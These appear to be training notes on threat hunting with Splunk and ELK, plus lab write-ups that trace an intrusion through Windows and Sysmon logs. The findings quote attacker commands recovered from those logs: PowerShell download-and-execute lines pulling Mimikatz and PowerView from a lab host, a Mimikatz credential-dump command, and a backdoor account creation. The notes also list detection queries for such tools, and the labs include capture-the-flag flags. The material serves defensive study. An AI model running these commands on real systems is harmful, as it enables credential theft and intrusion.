• Hypothesis-driven — not random queries.
• Using Splunk in hunts:
  • Centralized visibility with historical data.
  • Ability to easily pivot searches, aggregate data, visualize query results.

Hypothesis: "An attacker has used PowerShell to download malware using obfuscated or encoded commands."

1. Identify relevant logs

   Windows Event Logs; Sysmon logs; Network data (DNS, firewall, etc).

2. Execute initial queries

   Use the correct index(es). Example: index=sysmon EventCode=1 Image="*powershell*" CommandLine="*enc*". Analyze results to determine next steps.

3. Pivot as necessary

Additional queries used during the pivot:

• index=sysmon EventCode=1 Image="*powershell*" CommandLine="*update.ps1*"
• index=wineventlog EventCode=4688 New_Process_Name="*powershell*" Command_Line="*update.ps1*"
• index=sysmon EventCode=1 CommandLine="*update.ps1*" | table _time, Computer, Image, CommandLine, Hashes
• index=sysmon EventCode=1 Hashes="*<hash>*" | table _time, Computer, Image, CommandLine, User, Hashes

Best Practices: remember indexes; ensure time range is correct; include sourcetype if known (reduces scope of search); use fields when searching (Image="*powershell*"); wildcards only when needed (can affect performance).

• Three components working together:
  • Elasticsearch — search and analytics.
  • Logstash — data processing and transformation.
  • Kibana — visualization and dashboards.
• Often includes Beats (Winlogbeat / Filebeat) — used for shipping log files.
• Similar uses and functionality to Splunk — visualizations and real-time searches.

ELK Architecture: Winlogbeat / Filebeat → Logstash → Elasticsearch → Kibana.

• ELK supports multiple query languages.
• KQL — Kibana Query Language
  • Faster, simpler queries.
  • Field-based matches.
• EQL — Elasticsearch Query Language
  • Event correlation.
  • Sequences (multi-step searches).

• Field-based searching — : equals.
• Boolean logic — AND, OR, NOT.
• Wildcards.
• Field selection for ad hoc filters.
• Best practices:
  • Field-based searches instead of full-text.
  • Save commonly used queries.

• Excels at searching multi-step events / attacks.
• Simple query:
  • event_type where condition
  • process where process.name == "powershell.exe"
• Logical operators: ==, !=, <, >, and, or, not.
• Sequences: "This happened, then that happened."

• Suspicious account logins.
• Suspicious process behavior.
• Unexpected outbound network connections.
• Suspicious PowerShell activity — encoded commands, downloads.
• Looking for persistence techniques — scheduled tasks, malicious services.

Hypothesis: "An attacker has dumped the SAM database to steal password hashes and used them in a Pass-the-Hash attack to authenticate across the network."

1. Identify relevant logs

   Windows Security Logs; Sysmon logs.

2. Build initial queries

   Example: winlog.event_data.Image:"*reg.exe*" and winlog.event_data.CommandLine:"*save*" and winlog.event_data.CommandLine:"*\HKLM\SAM*". Analyze results to determine next steps.

3. Pivot as necessary

Additional queries used during the pivot:

• winlog.event_data.CommandLine:("*procdump.exe*" or "*mimikatz.exe*")
• event.code:4624 and message:"*ntlm*"
• winlog.event_data.CommandLine:("*wmic.exe*" or "*psexec.exe*" or "*smbexec.py*") and NOT winlog.event_data.User:"*SYSTEM*"
• winlog.event_data.ParentImage:"*wmiprvse.exe*" and winlog.event_data.CommandLine:("*cmd.exe*" or "*powershell.exe*")

Environment: Kali GUI. Splunk at http://splunk.basic.local:8000. Index: ecthp.

Findings across the hunt:

• Filter Windows Security logs for CLIENT and Event ID 4625 (failed logon). Failed logon 2025-07-01 05:31:54, logon type 3, username sysadmin, workstation name kali. Query: index=ecthp source="WinEventLog:Security" EventCode=4625 host="CLIENT".
• Cross-check with Sysmon Event ID 3 (network connection). Query: index=ecthp LogName="Microsoft-Windows-Sysmon/Operational" EventCode=3 host="CLIENT". TCP connection to port 3389 (RDP) from 10.0.0.11 → 10.0.0.101.
• Attacker successfully logged in and created a backdoor local admin account named shadow — Event ID 4732 confirmed shadow was added to the local Administrators group by sysadmin on CLIENT.
• Downloaded a payload via PowerShell (Event ID 4104, filter iwr / iex / Invoke-WebRequest):
  Invoke-WebRequest -Uri http://10.0.0.11:8000/ducky.exe -OutFile C:\Users\Public\ducky.exe
• Sysmon EventCode=1 with Image LIKE %ducky.exe — executable is disguised Mimikatz (Product mimikatz, Company gentilkiwi (Benjamin DELPY)). Command line: "C:\Users\Public\ducky.exe" privilege::debug sekurlsa::logonpasswords exit. MD5 hash: 29EFD64DD3C7FE1E2B022B7AD73A1BA5.
• Lateral movement to SECLOGS confirmed by Event 4624, Logon_Type=10 — successful RDP from 10.0.0.101 (CLIENT), compromised domain account research\operator.
• On SECLOGS, attacker ran fileless: iex (New-Object Net.WebClient).DownloadString('http://10.0.0.11:8000/PowerView.ps1'). Downloaded and in-memory-executed PowerView.ps1 for AD enumeration.
• PowerView commands run: Get-NetGroup 'Domain Admins', Get-Domain, Get-DomainController, Get-NetComputer | select name.

Environment: Kali GUI. Splunk at http://splunk.advanced.local:8000. Index: ecthp.

• Filter index=ecthp EventCode=4625 host=SECLOGS. Targeted account: sysoperator — Account Domain research matches AD domain seclogs.research.SECURITY.local, so it's a domain account. Local accounts would show the machine name (SECLOGS, CLIENT) or blank as domain.
• Extract account/domain fields from the second occurrence in the Message (Account For Which Logon Failed). Query used:

  index=ecthp EventCode=4625 host="SECLOGS"
  | rex field=Message max_match=0 "Account Name:\s+(?<all_users>\S+)"
  | rex field=Message max_match=0 "Account Domain:\s+(?<all_domains>\S+)"
  | table all_users, all_domains

• Malicious service creation on SECLOGS around 2025-06-23 10:41 AM found via Sysmon Event 12 for registry key creation, then Event 13 for value modification under HKLM\System\CurrentControlSet\Services\FunnyService\*. Values reveal:
  • ObjectName = LocalSystem — runs as SYSTEM.
  • DisplayName = Windows Updates — deceptive.
  • ImagePath = C:\Users\Public\reverse.exe — likely reverse shell.
  • ErrorControl = 0x1 (log and continue).
  • Start = 0x2 (Auto Start on boot).
  • Type = 0x10 (user-mode, own process).
  Also visible via Event ID 7045 in System log: index=ecthp EventCode=7045 source="WinEventLog:System" host="SECLOGS" | table _time, host, ComputerName, Message.
• IE browsing on SECLOGS via Sysmon Event 22 (DNS query) filtered to iexplore.exe:

  index=ecthp LogName="Microsoft-Windows-Sysmon/Operational" EventCode=22 Image="C:\Program Files\Internet Explorer\iexplore.exe"
  | table _time, host, User, Image, QueryName, QueryStatus
  | sort -_time User

  Sites visited by user secadmin include: amazon.com, netflix.com, dropbox.com, drive.google.com, wetransfer.com, pastebin.com — cookies could enable session hijack, data exfil, and C2 comm.

Environment: Kali GUI. ELK at http://elk.basic.local:5601. Index: elk. Time range: June 2025.

• Find disguised executable via Sysmon Event 11 (file create):

  event.code:11 AND "*pdf.exe"

  File: Invoice2025.pdf.exe at C:\Users\Administrator\Desktop\Invoice2025.pdf.exe.
• Extract hash with "Invoice2025.pdf.exe" AND "Hashes". MD5: B8EA2C6636081C26E8691326D19A3C40. VirusTotal (SHA256 0be420e8425468f6b6359c691e1c5463ea1969b489760d3727732691580ce221) confirms malicious — fk.exe masquerading as Invoice2025.pdf.exe.
• Confirm execution with process creation:

  event.code:1 AND "Invoice2025.pdf.exe"

  File launched, spawned Firefox to http://www.iwantsoft.com/download/ with -osint flag. Process ID 2280.
• Persistence check via event.code:4688 AND "schtasks.exe", then event.code:4698 for scheduled-task-created:
  • Task Name: \Flag_5160edb3606376bcf9aac4ef3a78f0d0
  • Interval: every hour (<Interval>PT1H</Interval>).
  • Command: C:\Users\Administrator\AppData\Roaming\goodupdater.exe
  • Flag: 5160edb3606376bcf9aac4ef3a78f0d0

Environment: Kali GUI. ELK at http://elk.advanced.local:5601. Index: elk. June 2025.

• Winlogon-based persistence via PowerShell:

  winlog.channel:"Microsoft-Windows-Sysmon/Operational"
  AND winlog.event_id:13
  AND winlog.event_data.TargetObject.keyword:*\Winlogon\*
  AND winlog.event_data.Image:*powershell.exe

  powershell.exe modified the Userinit registry value under Winlogon; the default userinit.exe was appended with backdoor.exe. Performed by SRV-ECTHP\itadmin.
• Explicit-credentials logon via Event 4648: winlog.channel:"Security" AND winlog.event_id:4648. itadmin attempted local logon using the credentials of machine account hacker$ (name ends in $).
• Search message: "*hacker$*":
  • Sysmon Event 1 (Process Creation): itadmin ran PowerShell that launched net.exe to create user hacker$ with password hacker@123 — designed to look like a machine account and blend in.
  • Second event: hacker$ logged in locally. SID ends in -500 — S-1-5-21-3688751335-3073641799-161370460-500. RID 500 is reserved for the built-in Administrator. RID Hijacking: attacker created hacker$, then modified its RID in the registry to 500 to inherit Administrator privileges while presenting as a non-default account.
• DLL Sideloading via Sysmon Event 7 (Image Loaded) filtered to non-Valid signatures:

  winlog.channel:"Microsoft-Windows-Sysmon/Operational"
  AND winlog.event_id:7
  AND message:*SignatureStatus*
  AND NOT message:"SignatureStatus: Valid"

  Event at 2025-06-25 16:01:59.906: calc.exe loaded wininet.dll from C:\Utilities\ (non-standard path — normally in C:\Windows\System32\). Signed: false, SignatureStatus: Unavailable. MD5: D4990A8D2FF6F2433ACDAD04521F85C6 — VirusTotal confirms malicious.
• Security-relevant policy changes:

  winlog.channel:"Security" AND (winlog.event_id:4739 OR winlog.event_id:4950)

  Windows Firewall disabled for Private, Public, Domain profiles. Domain Lockout Policy modified — Lockout Threshold changed to 0 (unlimited login attempts). Both classic post-compromise defensive tampering.

Key techniques uncovered: Userinit registry backdoor, RID Hijacking, DLL Sideloading via C:\Utilities\calc.exe, domain policy tampering, firewall disabling.